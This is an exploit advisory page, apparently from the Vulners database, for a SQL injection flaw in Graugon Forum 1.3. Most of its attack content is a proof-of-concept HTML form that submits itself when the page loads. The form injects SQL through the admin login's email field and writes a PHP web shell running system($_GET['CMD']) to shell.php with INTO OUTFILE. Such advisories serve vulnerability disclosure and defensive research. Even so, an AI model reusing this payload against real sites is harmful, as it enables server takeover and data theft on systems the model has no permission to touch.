Lucene search

Graugon Forum 1.3 - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Graugon Forum 1.3 SQL Injection Vulnerability, Critical Threat Level, Allows Arbitrary Data Extraction and PHP Shell Creatio


                                                &#60;!------------------------------------------------------------------------
# Software................Graugon Forum 1.3
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.graugon.com/
# Discovery Date..........4/3/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch &#60;[email protected]&#62;
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A SQL injection vulnerability in Graugon Forum 1.3 can be exploited to
# extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
# 
# 
# --PoC--&#62;

&#60;html&#62;
    &#60;body onload=&#34;document.forms[0].submit()&#34;&#62;
        &#60;form method=&#34;POST&#34; action=&#34;http://localhost/forum/admin.php&#34;&#62;
            &#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;&#39;and 1=0 UNION SELECT &#39;&#60;?php system($_GET[&#34;CMD&#34;]); ?&#62;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39; FROM dual INTO OUTFILE &#39;../../htdocs/shell.php&#39;;#&#34; /&#62;
            &#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;&#34; /&#62;   
        &#60;/form&#62;
    &#60;/body&#62;
&#60;/html&#62;

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1